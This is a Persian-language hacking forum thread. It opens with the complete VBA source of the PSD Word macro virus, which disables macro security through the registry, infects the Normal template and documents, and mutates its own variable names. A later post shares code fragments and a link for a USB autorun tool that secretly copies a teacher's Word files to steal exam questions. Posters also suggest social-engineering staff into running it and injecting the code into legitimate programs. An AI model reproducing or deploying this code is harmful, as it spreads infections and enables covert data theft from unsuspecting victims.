سورس ویروس psd2000 که به صورت Macro اجرا میشه...!؟! (چی گفتم...!؟! اول باید ضمیمه فایل ورد کنیدش...(تو قسمت ماکرو...) و بعد...!؟! :27: :21:) :
موفق باشید...!؟! :46:کد:Private Sub Document_Open()
On Error Resume Next
' W97M/PSD by ALT-F11, VAMP Poly by VicodinES
' Converted to W2000/PSD by VicodinES
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
If Day(Now) = Minute(Now) Then
Randomize: For KO3978 = 1 To (Int(Rnd * 70))
ActiveDocument.Shapes.AddShape(Int(Rnd * 120), Int(Rnd * 200), Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500)).Select
Selection.ShapeRange.Fill.ForeColor.RGB = RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255))
Selection.ShapeRange.Fill.Visible = msoTrue
Selection.ShapeRange.Fill.Solid: Next KO3978: End If
NC2727 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
IN3627 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set MD1340 = ActiveDocument.VBProject.VBComponents.Item(1)
SC6182 = True
End If
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set MD1340 = NormalTemplate.VBProject.VBComponents.Item(1)
OQ186 = True
Call PG788_BL2915
ActiveDocument.Saved = True
End If
If OQ186 <> True And SC6182 <> True Then GoTo KV4745
If OQ186 = True Then MD1340.CodeModule.AddFromString ("Private Sub Document_Close()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, NC2727 - 1) & vbCr & "Sub ViewVBCode()" & vbCr & "Application.Quit SaveChanges:=wdDoNotSaveChanges" & vbCr & "End Sub")
If SC6182 = True Then MD1340.CodeModule.AddFromString ("Private Sub Document_Open()" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, IN3627 - 4))
KV4745:
If IN3627 <> 0 And NC2727 = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
End Sub
Private Function PG788_BL2915()
On Error Resume Next
Randomize
Dim r1(1 To 15) As String
r1(1) = "LD4357": r1(2) = "TM8946": r1(3) = "OF99": r1(4) = "GC6254": r1(5) = "BL2915": r1(6) = "NC2727"
r1(7) = "IN3627": r1(8) = "SC6182":: r1(9) = "MD1340": r1(10) = "OQ186": r1(11) = "KV4745": r1(12) = "PG788": r1(13) = "IR7681": r1(14) = "KA065": r1(15) = "KO3978"
For KO3978 = 1 To 15
a1 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 100) & Int(Rnd * 100)
Call BL2915(a1, r1(KO3978))
Next KO3978
End Function
Private Function BL2915(KA065, IR7681 As String)
On Error Resume Next
Dim LD4357 As Long: Dim TM8946 As Long: Dim OF99 As Long: Dim GC6254 As Long
With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
LD4357 = 1: TM8946 = 1: OF99 = .CountOfLines: GC6254 = Len(.Lines(.CountOfLines, 1))
Do While .Find(IR7681, LD4357, TM8946, OF99, GC6254, True)
strline = .Lines(LD4357, 1)
strline = Left(strline, TM8946 - 1) & KA065 & Mid(strline, GC6254)
.replaceline LD4357, strline
LD4357 = OF99 + 1: TM8946 = 1:
OF99 = .CountOfLines
GC6254 = Len(.Lines(.CountOfLines, 1))
Loop
End With
End Function
تاپيك بسيار جالبيه :31:
ميشه لطف كنيد بگيد كه براي نوشتن بد افزار از چه نرم افزارهايي بايستي استفاده كرد؟
يعني برنامه نويسي خاصي رو بايستي دنبال كرد؟
چطوري ميشه فهميد كه يه بد افزار به كجاهاي سيستم ضربه زده و اون قسمت دچار مشكل شده؟
شاد باشيد :40:
یک سورس کد کاربردی و جالب برای دانش آموزان و دانشجویان عزیز!
این سورس مطعلق به برنامه ای هست که به راحتی و کاملا مخفیانه یک کپی از تمام سوالات (امتحانی و ...) تایپ شده در کامپیوتر معلم برمیداره و هیچ اثری هم بجا نمیزاره.
فقط باید همراه یک فایل autorun.inf داخل فلش مموریتون بریزید و فلشو به سیستمی که سوالات داخلش هست متصل کنید(میتونید از راههای مختلف که خودتون بهتر بلد هستید اینکارو انجام بدید:27:مثل bind ) به محض اینکه روی درایو فلش کلیک بشه در عرض چند ثانیه (بستگی به حجم اطلاعات و نوع سخت افزار هم داره) یک کپی از تمام سوالات برمیداره و داخل فلش مموری شما قرار میده.
سورس:
MFC
[HTML]http://www.speedyshare.com/files/25529940/Force.cpp[/HTML]
فقط باید یه تنظیماتی داخلش انجام بدید.
توسط این آرایه:
تعیین میکنید که کدام درایو ها جستجو شوند.(هرچه تعداد کمتر باشه برنامه سریعتر کارشو انجام میده)کد:
//Drives
char drv[]={"abcdefghijklmnopqrstuvwxyz"};
این قسمت بطور پیشفرض تمام درایو های سیستمو جستجو میکنه.
متغیر زیر هم برای تعیین واژه برای جستجو میباشد
معمولا سوالات و کلا کارای تایپیو داخل World انجام میدن که پسوند فایل ها در این نرم افزار doc و docx هست.
این قسمت بطور پیشفرض برای این پسوند مقدار دهی شده.
حالا میخوام بگم که داستان این سورس اصلا چیه!!!:18:کد:
//File Filter.
CString filter = _T("\\*.doc?");
بنده در مقطع دوم دبیرستان بودم که با تشویق :10: یکی از دوستان اقدام به نوشتن این برنامه کوچیک ولی پر کاربرد کردم امروز بصورت اتفاقی داخل هارد پیداش کردم و یک دستی به سرو رویش کشیدم و چندتا از اشکالاتشو هم برطرف کردم.
من هیچوقت از این برنامه استفاده نکردم ولی خیلی از دوستانمو با این برنامه از تجدیدی و شهریور ماه و ... نجات دادم:41:
بگزریم، این برنامه نام فایل های کپی شده رو تغییر میده که از جایگزینی و لو رفتن فایلها از روی اسم جلوگیری کنه و حتی پسوند فایلهای کپی شده رو هم حذف میکنه.
برای متصل کردن فلش به اون سیستم مورد نظر هم میتونید از راههای مختلف وارد بشید مثلا میتونید یک نرم افزار مفید بریزید روی فلش مموریتون و اونو بدید به مسئول اون کامپیوتر تا بره و اونو روی سیستم نصب کنه!
-----------------------------------------------------
اگر در موقع کامپایل سورس به مشکل برخوردید و نتونستید سورسو کامپایل کنید اطلاعات کامپیوتر مورد نظرو (مثل درایو سوالات و پسوند سوالات) برای بنده پ.خ کنید بنده هم برنامه کامپایل شده همراه فایل autorun.inf رو براتون ارسال میکنم.
THANKS:n05:
مشکلش همون autorun.infنقل قول:
فقط باید همراه یک فایل autorun.inf داخل فلش مموریتون بریزید
منم کلا یک راهی برای استفاده خفن تر از این گونه سوس ها می گم!! کد رو اسمبل کنید و اون رو در اول لود شدن یک برنامه مفید تزیرق کرد حالا اگر برنامه ی مفید سرس اونو دارید که فبه ها ولی اگر ندارید با onlly db یا Immunity Debugger استفاده کنید .. (منظورم تزریق باینریه)
آقا ما که هیچی از این آموزشا نفهمیدیم حتی نمیدونم با چه زبانی دارین مینویسین ولی موفق باشید
منم همینطور ولی من خیلی دوست دارم یاد بگیرم !!!:n03::n03:نقل قول:
آقا ما که هیچی از این آموزشا نفهمیدیم حتی نمیدونم با چه زبانی دارین مینویسین ولی موفق باشید
نمیشه کلا از همون اول که کد چیه سورس چیه و اینا (به طور خلاصه)شروع کنید؟؟؟:n27::n28: